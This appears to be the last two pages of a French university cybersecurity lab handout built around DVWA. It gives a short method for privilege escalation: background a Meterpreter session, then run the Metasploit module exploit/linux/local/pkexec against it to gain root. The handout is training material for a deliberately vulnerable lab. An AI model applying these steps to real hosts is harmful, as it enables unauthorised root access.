Pour vous entrainer, voici l’exploit local à utiliser sous metasploit : exploit/linux/local/pkexec
Méthodo :
- Obtenir un shell avec le meterpreter sur dvwa
- Laisser la session ouverte commande background)
- Utiliser l’exploit suivant :
o exploit/linux/local/pkexec
- indiquer la session du meterpreter
- enjoy in root
Exemple :
Classification : Public 57 / 58
UE Cybersécurité DVWA 09/11/18
Exécuter le script et analyser les résultats obtenus. Regarder et exécuter les exploits
suggérés.
Vous pouvez consulter le lien suivant qui donne un exemple d’exploitation :
https://dook.biz/tag/privesc/
Classification : Public 58 / 58